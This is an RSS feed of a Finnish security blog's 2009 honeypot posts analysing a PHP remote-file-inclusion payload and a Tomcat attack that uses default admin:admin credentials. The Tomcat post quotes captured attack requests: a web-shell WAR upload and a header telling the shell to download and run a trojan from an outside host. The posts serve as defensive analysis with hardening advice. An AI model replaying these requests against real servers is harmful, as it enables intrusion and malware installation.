<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tietoturvablogi &#187; Tietoturva</title>
	<atom:link href="http://www.fitsec.com/blogi/category/tietoturva/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fitsec.com/blogi</link>
	<description>Suomalaista tietoturvaa</description>
	<lastBuildDate>Fri, 25 Sep 2009 20:26:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Tunkeilijat: Websivuston hyväksikäyttö</title>
		<link>http://www.fitsec.com/blogi/2009/09/25/tunkeilijat-websivuston-hyvaksikaytto/</link>
		<comments>http://www.fitsec.com/blogi/2009/09/25/tunkeilijat-websivuston-hyvaksikaytto/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 20:26:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tietoturva]]></category>
		<category><![CDATA[Tunkeilijat]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/blogi/?p=45</guid>
		<description><![CDATA[Päätimme katsoa hieman tarkemmin sivustoillemme kohdistuvia hyväksikäyttöyrityksiä joita tulee useita päivittäin. Normaalien SQL-injektiohyökkäysten lisäksi näemme useimmiten myös PHP-kielellä kirjoitettuihin web-ohjelmistoihin kohdistuvia RFI-hyökkäyksiä.
Jätämme tästä esimerkistä pois tarkan URLin, jota hyökkääjä kokeili, mutta yleisellä tasolla todettakoon että hyökkääjä yritti etsiä haavoittuvaa PHPAdsNew-asennusta.
Latasimme hyökkääjän lähettämästä osoitteesta itse hyökkäyksessä käytetyn tiedoston:

Ylläolevasta kuvasta näkee suhteellisen helposti että kyseessä BASE64-koodattu tiedosto, [...]]]></description>
			<content:encoded><![CDATA[<p>Päätimme katsoa hieman tarkemmin sivustoillemme kohdistuvia hyväksikäyttöyrityksiä joita tulee useita päivittäin. Normaalien SQL-injektiohyökkäysten lisäksi näemme useimmiten myös PHP-kielellä kirjoitettuihin web-ohjelmistoihin kohdistuvia RFI-hyökkäyksiä.</p>
<p>Jätämme tästä esimerkistä pois tarkan URLin, jota hyökkääjä kokeili, mutta yleisellä tasolla todettakoon että hyökkääjä yritti etsiä haavoittuvaa PHPAdsNew-asennusta.</p>
<p>Latasimme hyökkääjän lähettämästä osoitteesta itse hyökkäyksessä käytetyn tiedoston:</p>
<p><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/cpr.png"><img title="RFI exploit" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/cpr.png" alt="RFI exploit" width="464" height="170" /></a></p>
<p>Ylläolevasta kuvasta näkee suhteellisen helposti että kyseessä BASE64-koodattu tiedosto, joka dekoodauksen jälkeen suoritetaan normaalisti eval()-funktion avulla. Alla olevassa kuvassa on dekoodauksen jälkeen näkyville tuleva hyökkäyskoodi:</p>
<p><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/base64decoded.png"><img title="base64decoded" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/base64decoded.png" alt="base64decoded" width="684" height="136" /></a></p>
<p>Kuten huomaamme, koodi sisältä vielä pienen pätkän BASE64-koodattua tietoa, mutta katsotaan ensin mitä hyökkäyskoodi tekee yleisellä tasolla. Hyökkäyskoodi kerää muutamia hyödyllisiä tietoja PHP-ympäristön muuttujista kuten palvelimen nimen ja tiedon siitä onko PHP:n &#8220;Safe Mode&#8221; aktivoitu vai ei. Nämä tiedot, kuten myös hyväksikäytetyn osoitteen hyökkäyskoodi lähettää sähköpostilla eteenpäin. Vastaanottajan osoite on jäljellä olevassa BASE64-koodatussa tekstinpätkässä:</p>
<p>fr33sh3ll@gmail.com</p>
<p>Joka kerta kun hyökkäyskoodi onnistutaan ajamaan kohdekoneessa saa koodin tekijä sähköpostilla ilmoituksen joka sisältää haavoittuvan palvelimen osoitteen ja tarkan URL-osoitteen haavoittuvaan PHPAdsNew-asennukseen. Tällä tavoin hyökkääjä voi myöhemmin halutessaan käyttää haavoittuvuutta uudelleen hyväkseen ja ajaa kohdekoneessa haluamaansa koodia.</p>
<p>On olemassa useita hyviksi havaittuja ja suositeltuja keinoja hankaloittaa tällaisten hyökkäysten toimintaa kuten asettamalla PHP-tulkissa &#8220;Safe Mode&#8221; vaihtoehto päälle, tai ottaa allow_url_open tai allow_url_include (riippuu käytössä olevan PHP-kielen versiosta) pois päältä. Enemmän hyviä ohjeita ja vinkkejä PHP-asennusten koventamiseen löytyy esimerkiksi näiltä sivuilta:</p>
<p>There are several ways to make such attacks much harder to perform, like turning on the safe mode or toggling off the allow_url_fopen or allow_url_include (in some versions of php). More good/better tricks can be found for example on these two sites:</p>
<p><a href="http://www.madirish.net/?article=229" target="_blank">http://www.madirish.net/?article=229</a></p>
<p><a href="http://www.hardened-php.net/" target="_blank">http://www.hardened-php.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/blogi/2009/09/25/tunkeilijat-websivuston-hyvaksikaytto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Uusi aihepiiri lisätty</title>
		<link>http://www.fitsec.com/blogi/2009/04/05/uusi-aihepiiri-lisatty/</link>
		<comments>http://www.fitsec.com/blogi/2009/04/05/uusi-aihepiiri-lisatty/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 18:08:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tietoturva]]></category>
		<category><![CDATA[Tunkeilijat]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/blogi/?p=13</guid>
		<description><![CDATA[Aloitamme uuden aihepiirin blogissamme. Tunkeilijat-osiossa käymme läpi erilaisia internetissä esiintyviä hyökkäyksiä, ja pyrimme esittämään niistä esimerkkejä oikeasta elämästä. Erilaisia hyväksikäytön kohteena olevia tietojärjestelmien palveluita on lukemattomia. Näitä myös käytetään varsin erilaisiin käyttötarkoituksiin, milloin haittaohjelmien levittämiseen ja milloin taas esimerkiksi roskapostin lähettämiseen. Tämän aihepiirin alle kirjoitetuissa entryissä on tarkoituksena käydä läpi erilaisia hyväksikäyttömekanismeja ja sen lisäksi [...]]]></description>
			<content:encoded><![CDATA[<p>Aloitamme uuden aihepiirin blogissamme. Tunkeilijat-osiossa käymme läpi erilaisia internetissä esiintyviä hyökkäyksiä, ja pyrimme esittämään niistä esimerkkejä oikeasta elämästä. <span id="more-13"></span>Erilaisia hyväksikäytön kohteena olevia tietojärjestelmien palveluita on lukemattomia. Näitä myös käytetään varsin erilaisiin käyttötarkoituksiin, milloin haittaohjelmien levittämiseen ja milloin taas esimerkiksi roskapostin lähettämiseen. Tämän aihepiirin alle kirjoitetuissa entryissä on tarkoituksena käydä läpi erilaisia hyväksikäyttömekanismeja ja sen lisäksi tarkastella, mitä oikeat hyökkääjät tekevät järjestelmille joihin he ovat luvatta päässeet sisälle.</p>
<p>Aineistot kerätään oikeilta, ainoastaan tätä tarkoitusta varten pystytetyiltä koneilta jotka ovat ainoastaan kyseisen testin ajan toiminnassa ja jatkuvan valvonnan alaisena. Näin voidaan varmistua siitä ettei hyökkääjät pääse käyttämään järjestelmiämme hyväksi muiden tietokoneiden saastuttamisessa.</p>
<p>Käyttämämme tietojärjestelmät on rakennettu siten, ettei hyökkääjä voi havaita olevansa tarkkailun alla.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/blogi/2009/04/05/uusi-aihepiiri-lisatty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Heikoilla salasanoilla suojattuja Tomcat-asennuksia hyväksikäytetään</title>
		<link>http://www.fitsec.com/blogi/2009/03/28/heikoilla-salasanoilla-suojattuja-tomcat-asennuksia-hyvaksikaytetaan/</link>
		<comments>http://www.fitsec.com/blogi/2009/03/28/heikoilla-salasanoilla-suojattuja-tomcat-asennuksia-hyvaksikaytetaan/#comments</comments>
		<pubDate>Sat, 28 Mar 2009 20:58:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tietoturva]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/blogi/?p=3</guid>
		<description><![CDATA[Huomasimme hieman normaalista poikkeavia HTTP-skannauksia, joilla etsitään /manager/html -polkua. Otimme skannaukset tarkasteluun ja kuten useimmat huomaavat, on allaolevasta HTTP-pyynnöstä helppo päätellä mitä hyökkääjät etsivät:
Fri Mar 25 00:30:31 EET 2009 &#8211; /190.210.x.x:3625 -
GET /manager/html HTTP/1.1
Referer: http://x.x.x.x:8080/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)
Host: x.x.x.x:8080
Connection: Close
Cache-Control: no-cache
Authorization: Basic YWRtaW46YWRtaW4=
Hyökkääjät yrittävät etsiä Tomcat-sovelluspalvelinasennuksia, joiden ylläpitosovellus on [...]]]></description>
			<content:encoded><![CDATA[<p>Huomasimme hieman normaalista poikkeavia HTTP-skannauksia, joilla etsitään /manager/html -polkua. Otimme skannaukset tarkasteluun ja kuten useimmat huomaavat, on allaolevasta HTTP-pyynnöstä helppo päätellä mitä hyökkääjät etsivät:<span id="more-3"></span></p>
<blockquote><p>Fri Mar 25 00:30:31 EET 2009 &#8211; /190.210.x.x:3625 -</p>
<p>GET /manager/html HTTP/1.1<br />
Referer: http://x.x.x.x:8080/manager/html<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)<br />
Host: x.x.x.x:8080<br />
Connection: Close<br />
Cache-Control: no-cache<br />
Authorization: Basic YWRtaW46YWRtaW4=</p></blockquote>
<p>Hyökkääjät yrittävät etsiä <a title="Apache Tomcat" href="http://tomcat.apache.org/" target="_blank">Tomcat-sovelluspalvelinasennuksia</a>, joiden ylläpitosovellus on käytössä siten, että ylläpitäjän käyttäjätunnus ja salasala on &#8216;admin&#8217;. Sen sijaan että olisimme pystyttäneet niin sanotun low interaction <a title="Wikipedia: Hunajapurkki" href="http://fi.wikipedia.org/wiki/Hunajapurkki" target="_blank">hunajapurkin</a> päätimme asentaa oikean Tomcat-palvelimen koneelle joka on jatkuvan seurannan alla. Noin vuorokauden seurannan jälkeen näimme hyökkäävän koneen käyvän palvelimella:</p>
<blockquote><p>190.26.x.x &#8211; admin [26/Mar/2009:21:32:13 -0000] &#8220;GET /manager/html HTTP/1.1&#8243; 200 8714<br />
190.26.x.x &#8211; admin [26/Mar/2009:21:32:13 -0000] &#8220;POST /manager/html/upload HTTP/1.0&#8243; 200 8747<br />
190.26.x.x &#8211; - [26/Mar/2009:21:32:15 -0000] &#8220;GET /killfexcepshell/index.jsp HTTP/1.1&#8243; 404 763<br />
190.26.x.x &#8211; admin [26/Mar/2009:21:32:38 -0000] &#8220;POST /manager/html/upload HTTP/1.0&#8243; 200 9377<br />
190.26.x.x &#8211; - [26/Mar/2009:21:32:43 -0000] &#8220;GET /killfexcepshell/index.jsp HTTP/1.1&#8243; 200 48</p></blockquote>
<p>Ylläolevasta lokista voidaan nähdä, että tunnistettuaan hyväksikäytettävän palvelimen hyökkääjä lataa sinne omaa koodiaan:</p>
<blockquote><p>POST /manager/html/upload HTTP/1.0<br />
Connection: Keep-Alive<br />
Content-Type: multipart/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;032509203251046<br />
Content-Length: 2495<br />
Host: x.x.x.x:8080<br />
Accept: text/html, */*<br />
Accept-Language: zh-cn<br />
Referer: http://x.x.x.x:8080/manager/html<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)<br />
Authorization: Basic YWRtaW46YWRtaW4=<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;032509203251046<br />
Content-Disposition: form-data; name=&#8221;deployWar&#8221;; filename=&#8221;C:\WINDOWS\system32\mui\fexcep\killfexcepshell.war&#8221;<br />
Content-Type: application/x-zip-compressed</p></blockquote>
<p>Hyökkääjä latasi palvelimelle killfexcepshell.war-tiedoston. WAR-tiedostot (Web ARchive) ovat pakattuja tiedostoja joita Tomcat-palvelinsovellus käyttää uusien verkkosovellusten asentamiseen:</p>
<p><img class="aligncenter size-full wp-image-13" title="cexcep" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/03/cexcep.png" alt="cexcep" width="512" height="142" /></p>
<p>Kuten tarkkasilmäiset huomasivat, ylläoleva POST-pyyntö on todennäköisimmin tehty Windows-käyttöjärjestelmällä toimivasta palvelimesta. Huomasimme myös, että vaikka hyökkäävän koneen IP-osoite on Kolumbiassa niin itse pyynnön otsikkotiedoissa kieleksi ilmoitetaan &#8216;zh-cn&#8217;, joka viittaa Kiinaan. Tämä arvo on todennäköisesti haittaohjelman itsensä asettama. Toinen mielenkiintoinen huomio oli se, että hyökkäävä kone pyysi palvelimeltamme myös .gif -kuvatiedostoja joihin on linkitetty Tomcatin ylläpitosovelluksessa. Tämä viittaisi siihen että haittaohjelma käyttää skannaamiseen käyttäjältä piilotettua Internet Explorer-ikkunaa.</p>
<p>Onnistuneen asennuksen jälkeen palvelin sai vain yhden pyynnön hyökkäävältä koneelta: GET /killfexcepshell/index.jsp.</p>
<p>Tässä pyynnön tarkat tiedot:</p>
<blockquote><p>GET /killfexcepshell/index.jsp HTTP/1.1<br />
Referer: http://x.x.x.x:8080/killfexcepshell/index.jsp<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; IE 7)<br />
Host: x.x.x.x:8080<br />
Connection: Close<br />
Cache-Control: no-cache<br />
Cache-Vip-Url:http://www.&lt;poistettu&gt;.cn/tomcat.exe</p></blockquote>
<p>Ja tämä on vastaus:</p>
<blockquote><p>HTTP/1.1 200 OK<br />
Server: Apache-Coyote/1.1<br />
Set-Cookie: JSESSIONID=26482330DBFE986AC0705B4691E0C66D; Path=/killfexcepshell<br />
Content-Type: text/html;charset=utf-8<br />
Content-Length: 48<br />
Date: Thu, 26 Mar 2009 01:32:43 GMT<br />
Connection: close</p>
<p>Failure!Because Remote computer system is Linux!</p></blockquote>
<p>Cache-Vip-URL? Tämä ei ainakaan ole mikään tunnettu HTTP-otsake. URL osoittaa kiinalaisella www-palvelimella olevaan tiedostoon. Tutkimme index.jsp:n toimintaa tarkemmin, ja tässä päätoiminnallisuus:</p>
<ul>
<li>sivu ylikirjoittaa tomcat-users.xml:ssä olevat käyttäjätunnus/salasanaparit alla olevalla tiedolla:</li>
</ul>
<blockquote><p>&lt;?xml version=&#8217;1.0&#8242; encoding=&#8217;utf-8&#8242;?&gt;<br />
&lt;tomcat-users&gt;<br />
&lt;role rolename=&#8221;tomcat&#8221;/&gt;<br />
&lt;role rolename=&#8221;role1&#8243; /&gt;<br />
&lt;role rolename=&#8221;manager&#8221;/&gt;<br />
&lt;role rolename=&#8221;admin&#8221;/&gt;<br />
&lt;user username=&#8221;admin&#8221; password=&#8221;&lt;hidden&gt;&#8221; roles=&#8221;admin,manager&#8221;/&gt;<br />
&lt;/tomcat-users&gt;</p></blockquote>
<blockquote><p>Tällä muutoksella hyökkääjä toivoo estävänsä muita hyödyntämästä heikkoja salasanoja. Samalla kuitenkin palvelimen laillinen etäylläpito estyy kunnes tunnukset on palautettu.</p></blockquote>
<ul>
<li>index.jsp lataa Cache-Vip-Url otsakkeen osoittamasta paikasta käynnistettävän binääritiedoston. Kuten huomaatte vastauksesta tämä toimii ainoastaan Windows-käyttöjärjestelmiin asennetuissa Tomcat-ohjelmistoissa. Hyökkääjä voi tosin halutessaan tulla myöhemmin uudestaan asentamaan jonkin muissa käyttöjärjestelmissä toimivan haittaohjelman.</li>
</ul>
<p>Poistimme ylläolevasta tomcat-users.xml-tiedostosta sinne haittaohjelman asettaman salasanan. Vaikka hyökkääjillä on ollut tarkoitus luoda siihen satunnainen salasana niin haittaohjelmassa olevan ohjelmointivirheen takia asetettu salasana on kaikissa sama, emmekä halua aiheuttaa enempää riskejä jo saastuneille koneille.</p>
<p>Kiinalaisesta verkko-osoitteesta ladattu haittaohjelma on yleisesti tunnistettu PcClient-troijalaisen variantiksi joka ottaa yhteyttä vicp.net -domainin alla olevaan kiinassa sijaitsevaan alidomainiin TCP/126 porttiin. vicp.net on dynaamisia verkko-osoitteita tarjoava yritys.</p>
<p>Vaikka yleisimmin tiedotusvälineissä huomioidaan valtavirran ohjelmistojen hyväksikäyttöä on tämä hyvä esimerkki siitä, että haittaohjelmien levittäjät ja krakkerit pyrkivät käyttämään kaikkia mahdollisia hyökkäystapoja saavuttaakseen tavoitteensa. Tomcat-asennuksia skannataan vieläkin, vaikka Tomcat-ohjelmistossa ei ole enään moneen vuoteen ollut oletussalasanoja käytössä, vaan ylläpitosovellus on pitänyt kytkeä käsin käyttöön.</p>
<p>Pyrimme jatkamaan myös tulevaisuudessa erilaisten hyökkäysmekanismien esittelyjä. Jos lukijoilla on herännyt lisäkysymyksiä niin meille voi lähettää sähköpostia osoitteeseen info(a_t)fitsec.com, tai vaikkapa jättää tähän blogiviestiin kommentti.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/blogi/2009/03/28/heikoilla-salasanoilla-suojattuja-tomcat-asennuksia-hyvaksikaytetaan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
